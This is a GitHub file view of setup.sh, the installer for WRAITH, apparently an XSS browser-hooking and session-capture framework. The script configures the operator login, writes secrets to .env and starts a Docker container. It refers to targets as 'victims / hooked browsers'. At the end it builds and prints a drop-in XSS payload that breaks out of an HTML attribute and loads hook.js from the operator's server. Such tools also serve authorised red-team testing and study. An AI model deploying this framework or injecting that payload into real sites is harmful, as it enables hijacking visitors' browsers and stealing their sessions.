forked from Arcanum-Sec/wraith
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsetup.sh
More file actions
executable file
·169 lines (154 loc) · 5.92 KB
/
Copy pathsetup.sh
File metadata and controls
executable file
·169 lines (154 loc) · 5.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/env bash
# WRAITH installer -----------------------------------------------------------
# Interactive one-shot setup: detects your public IP (or takes a domain), has you
# choose an operator username + password, generates a session secret, writes a
# gitignored .env, then builds and starts the container. Prints every hook URL
# with your address at the end.
#
# ./setup.sh
#
# Re-run any time to reconfigure. No secrets or captured sessions are ever
# committed — .env and data/ are gitignored.
set -euo pipefail
cd "$(dirname "$0")"
# ---- pretty ----------------------------------------------------------------
bold(){ printf '\033[1m%s\033[0m\n' "$*"; }
cyan(){ printf '\033[36m%s\033[0m\n' "$*"; }
warn(){ printf '\033[33m%s\033[0m\n' "$*"; }
err(){ printf '\033[31m%s\033[0m\n' "$*" >&2; }
rule(){ printf ' \033[2m%s\033[0m\n' "----------------------------------------------------------"; }
echo
bold " WRAITH — installer"
rule
# ---- pick the container tool -----------------------------------------------
if docker compose version >/dev/null 2>&1; then
DC="docker compose"
elif command -v docker-compose >/dev/null 2>&1; then
DC="docker-compose"
else
err "Docker Compose not found. Install Docker Desktop or the compose plugin, then re-run."
exit 1
fi
command -v docker >/dev/null 2>&1 || { err "Docker not found on PATH."; exit 1; }
# ---- gather existing values so re-runs pre-fill ----------------------------
OLD_PORT=8090 OLD_USER=operator OLD_URL="" OLD_SECRET="" OLD_AUTOCAP=1
if [ -f .env ]; then
# shellcheck disable=SC1091
set +u; . ./.env >/dev/null 2>&1 || true; set -u
OLD_PORT="${WRAITH_PORT:-8090}"
OLD_USER="${WRAITH_OP_USER:-operator}"
OLD_URL="${WRAITH_PUBLIC_URL:-}"
OLD_SECRET="${WRAITH_SECRET:-}"
OLD_AUTOCAP="${WRAITH_AUTOCAPTURE:-1}"
warn " Found an existing .env — values shown in [brackets] are the current ones."
echo
fi
# ---- detect public IP ------------------------------------------------------
cyan " Detecting your public IP…"
DETECTED=""
for u in "https://api.ipify.org" "https://ifconfig.me/ip" "https://icanhazip.com" "https://ipv4.icanhazip.com"; do
DETECTED="$(curl -fsS4 --max-time 5 "$u" 2>/dev/null | tr -d '[:space:]' || true)"
[ -n "$DETECTED" ] && break
done
if [ -n "$DETECTED" ]; then echo " → $DETECTED"; else warn " Could not auto-detect (offline?). You'll enter an address manually."; fi
echo
# ---- address the hook advertises -------------------------------------------
bold " How will victims / hooked browsers reach this server?"
echo " This becomes the address baked into your hook + XSS payload URLs."
DEF_HOST="${DETECTED:-127.0.0.1}"
if [ -n "$OLD_URL" ]; then
echo
read -r -p " Public IP or domain [keep ${OLD_URL}]: " ADDR || true
else
echo
read -r -p " Public IP or domain [${DEF_HOST}]: " ADDR || true
fi
read -r -p " Port [${OLD_PORT}]: " PORT || true
PORT="${PORT:-$OLD_PORT}"
# Build WRAITH_PUBLIC_URL. If the user pasted a full URL, respect it.
if [ -z "${ADDR:-}" ] && [ -n "$OLD_URL" ]; then
PUBLIC_URL="$OLD_URL"
else
ADDR="${ADDR:-$DEF_HOST}"
if printf '%s' "$ADDR" | grep -qiE '^https?://'; then
PUBLIC_URL="${ADDR%/}"
else
read -r -p " Serve over HTTPS (front with TLS)? [y/N]: " TLS || true
case "${TLS:-n}" in
y|Y|yes|YES) SCHEME=https ;;
*) SCHEME=http ;;
esac
# Omit the port for standard 80/443 to keep URLs clean.
if { [ "$SCHEME" = http ] && [ "$PORT" = 80 ]; } || { [ "$SCHEME" = https ] && [ "$PORT" = 443 ]; }; then
PUBLIC_URL="${SCHEME}://${ADDR}"
else
PUBLIC_URL="${SCHEME}://${ADDR}:${PORT}"
fi
fi
fi
echo
# ---- operator credentials --------------------------------------------------
bold " Operator console login"
read -r -p " Username [${OLD_USER}]: " OPUSER || true
OPUSER="${OPUSER:-$OLD_USER}"
PASS=""
while :; do
read -r -s -p " Password (min 8 chars; blank = auto-generate): " P1; echo
if [ -z "$P1" ]; then
PASS="$(openssl rand -base64 18 | tr -d '/+=' | cut -c1-20)"
warn " Generated password: ${PASS}"
warn " Save it now — it is not stored anywhere but .env."
break
fi
if [ "${#P1}" -lt 8 ]; then err " Too short (min 8). Try again."; continue; fi
read -r -s -p " Confirm password: " P2; echo
if [ "$P1" != "$P2" ]; then err " Passwords did not match. Try again."; continue; fi
PASS="$P1"; break
done
echo
# ---- session secret (reuse existing so logins survive re-runs) -------------
if [ -n "$OLD_SECRET" ] && [ "$OLD_SECRET" != "replace-with-64-hex-characters" ]; then
SECRET="$OLD_SECRET"
else
SECRET="$(openssl rand -hex 32)"
fi
# ---- write .env ------------------------------------------------------------
umask 077
cat > .env <<EOF
# WRAITH environment — generated by setup.sh. DO NOT COMMIT. Holds secrets.
WRAITH_HOST=0.0.0.0
WRAITH_PORT=${PORT}
WRAITH_PUBLIC_URL=${PUBLIC_URL}
WRAITH_OP_USER=${OPUSER}
WRAITH_OP_PASSWORD=${PASS}
WRAITH_SECRET=${SECRET}
WRAITH_SESSION_HOURS=12
WRAITH_AUTOCAPTURE=${OLD_AUTOCAP}
EOF
chmod 600 .env
mkdir -p data
cyan " Wrote .env (chmod 600) and ./data/ for sessions."
echo
# ---- build + start ---------------------------------------------------------
bold " Building and starting the container…"
$DC up -d --build
echo
# ---- report ----------------------------------------------------------------
PAYLOAD="\"><script src=\"${PUBLIC_URL}/hook.js\"></script>"
echo
bold " WRAITH is up."
rule
printf " Operator console : %s/operator/\n" "$PUBLIC_URL"
printf " Login page : %s/login (user \"%s\")\n" "$PUBLIC_URL" "$OPUSER"
printf " Demo victim page : %s/demo/\n" "$PUBLIC_URL"
printf " Hook payload : %s/hook.js\n" "$PUBLIC_URL"
rule
printf " Drop-in XSS payload:\n %s\n" "$PAYLOAD"
rule
echo " Logs: $DC logs -f"
echo " Stop: $DC down (keeps ./data)"
echo " Reconfigure: ./setup.sh"
echo
warn " Served over plain HTTP unless you fronted it with TLS. For an HTTPS target,"
warn " put WRAITH behind nginx + Let's Encrypt and set WRAITH_PUBLIC_URL to https://…"
echo